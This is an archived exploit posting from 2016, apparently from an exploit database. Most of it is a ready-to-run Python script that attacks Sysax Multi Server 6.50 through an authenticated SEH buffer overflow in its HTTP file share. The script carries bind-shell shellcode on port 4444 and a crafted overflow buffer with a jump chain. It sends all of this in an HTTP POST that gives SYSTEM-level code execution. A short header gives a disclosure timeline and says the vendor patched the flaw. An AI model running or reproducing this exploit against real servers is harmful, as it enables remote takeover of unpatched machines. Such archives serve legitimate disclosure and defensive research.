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Sysax Multi Server 6.50 SEH Overflow

Sysax Multi Server 6.50 SEH Overflow
Posted Mar 21, 2016
Authored by Paul Purcell

Sysax Multi Server version 6.50 HTTP file share SEH overflow remote code execution exploit.

tags | exploit, remote, web, overflow, code execution
MD5 | 9d0bf49c04a7a3383e049f792b5de424

Sysax Multi Server 6.50 SEH Overflow

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# Exploit Title: Sysax Multi Server 6.50 HTTP File Share SEH Overflow RCE Exploit
# Date: 03/21/2016
# Exploit Author: Paul Purcell
# Contact: ptpxploit at gmail
# Vendor Homepage: http://www.sysax.com/
# Vulnerable Version Download: http://download.cnet.com/Sysax-Multi-Server/3000-2160_4-76171493.html (6.50 as of posting date)
# Version: Sysax Multi Server 6.50
# Tested on: Windows XP SP3 English
# Category: Remote Code Execution
#
# Timeline: 03/11/16 Bug found
# 03/14/16 Vender notified
# 03/17/16 Vender acknowledges issue and publishes patch (6.51)
# 03/21/16 Exploit Published
#
# Summary: This is a post authentication exploit that requires the HTTP file sharing service to be running on
# Sysas Multi Server 6.50. The SID can be retrieved from your browser's URL bar after logging into the
# service. Once exploited, the shellcode runs with SYSTEM privileges. In this example, we attack folder_
# in dltslctd_name1.htm. The root path of the user shouldn't break the buffer offset in the stack, though
# the user will need to have permission to delete folders. If the user has file delete permissions, file_
# will work as well. mk_folder1_name1 is also vulnerable with a modified buffer, so this same exploit can
# be modified to adapt to a users permissions.

import httplib

target = 'webbackup'
port = 80
sid = '57e546cb7204b60f0111523409e49bdb16692ab5' #retrieved from browser URL after login
#example: http://hostname/scgi?sid=57e546cb7204b60f0111523409e49bdb16692ab5&pid=dltslctd_name1.htm

#msfvenom -p windows/shell_bind_tcp LPORT=4444 --platform windows -a x86 -f c -b "\x00\x0a"

shell=("\x6a\x52\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd7\xae"
"\x73\xe9\x83\xeb\xfc\xe2\xf4\x2b\x46\xf1\xe9\xd7\xae\x13\x60"
"\x32\x9f\xb3\x8d\x5c\xfe\x43\x62\x85\xa2\xf8\xbb\xc3\x25\x01"
"\xc1\xd8\x19\x39\xcf\xe6\x51\xdf\xd5\xb6\xd2\x71\xc5\xf7\x6f"
"\xbc\xe4\xd6\x69\x91\x1b\x85\xf9\xf8\xbb\xc7\x25\x39\xd5\x5c"
"\xe2\x62\x91\x34\xe6\x72\x38\x86\x25\x2a\xc9\xd6\x7d\xf8\xa0"
"\xcf\x4d\x49\xa0\x5c\x9a\xf8\xe8\x01\x9f\x8c\x45\x16\x61\x7e"
"\xe8\x10\x96\x93\x9c\x21\xad\x0e\x11\xec\xd3\x57\x9c\x33\xf6"
"\xf8\xb1\xf3\xaf\xa0\x8f\x5c\xa2\x38\x62\x8f\xb2\x72\x3a\x5c"
"\xaa\xf8\xe8\x07\x27\x37\xcd\xf3\xf5\x28\x88\x8e\xf4\x22\x16"
"\x37\xf1\x2c\xb3\x5c\xbc\x98\x64\x8a\xc6\x40\xdb\xd7\xae\x1b"
"\x9e\xa4\x9c\x2c\xbd\xbf\xe2\x04\xcf\xd0\x51\xa6\x51\x47\xaf"
"\x73\xe9\xfe\x6a\x27\xb9\xbf\x87\xf3\x82\xd7\x51\xa6\x83\xdf"
"\xf7\x23\x0b\x2a\xee\x23\xa9\x87\xc6\x99\xe6\x08\x4e\x8c\x3c"
"\x40\xc6\x71\xe9\xc6\xf2\xfa\x0f\xbd\xbe\x25\xbe\xbf\x6c\xa8"
"\xde\xb0\x51\xa6\xbe\xbf\x19\x9a\xd1\x28\x51\xa6\xbe\xbf\xda"
"\x9f\xd2\x36\x51\xa6\xbe\x40\xc6\x06\x87\x9a\xcf\x8c\x3c\xbf"
"\xcd\x1e\x8d\xd7\x27\x90\xbe\x80\xf9\x42\x1f\xbd\xbc\x2a\xbf"
"\x35\x53\x15\x2e\x93\x8a\x4f\xe8\xd6\x23\x37\xcd\xc7\x68\x73"
"\xad\x83\xfe\x25\xbf\x81\xe8\x25\xa7\x81\xf8\x20\xbf\xbf\xd7"
"\xbf\xd6\x51\x51\xa6\x60\x37\xe0\x25\xaf\x28\x9e\x1b\xe1\x50"
"\xb3\x13\x16\x02\x15\x83\x5c\x75\xf8\x1b\x4f\x42\x13\xee\x16"
"\x02\x92\x75\x95\xdd\x2e\x88\x09\xa2\xab\xc8\xae\xc4\xdc\x1c"
"\x83\xd7\xfd\x8c\x3c")

arg="folder_" #can also be changed to file_ if user has file delete permissions
pid="dltslctd_name1" #Can be changed, though padding will needed to be updated as well
junk1="A"*26400 #Initial pile of junk
noppad="\x90"*296 #Place to land from our long jump and before our shellcode
junkfill="\x90"*(768-len(shell)) #Fill in after our shellcode till nseh
nseh="\xeb\x06\x90\x90" #Short jump over SEH
seh="\xd7\x2a\x92\x5d" #pop esi # pop edi # ret RPCNS4.dll
jump="\xe9\x13\xfc\xff\xff" #jump back 1000 bytes for plenty of room for your shellcode
junk2="D"*9500 #Junk at the end


buff=(arg+junk1+noppad+shell+junkfill+nseh+seh+jump+junk2)


head = "Host: Wee! \r\n"
head += "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0\r\n"
head += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
head += "Accept-Language: en-us,en;q=0.5\r\n"
head += "Accept-Encoding: gzip, deflate\r\n"
head += "Referer: http://gotcha/scgi?sid="+sid+"&pid="+pid+".htm\r\n"
head += "Proxy-Connection: keep-alive\r\n"
head += "Content-Type: multipart/form-data; boundary=---------------------------20908311357425\r\n"
head += "Content-Length: 1337\r\n"
head += "If-Modified-Since: *\r\n"
head += "\r\n"
head += "-----------------------------217830224120\r\n"
head += "\r\n"
head += "\r\n"
head += "\r\n"
head += buff

conn = httplib.HTTPConnection(target,port)
conn.request("POST", "/scgi?sid="+sid+"&pid="+pid+".htm", head)


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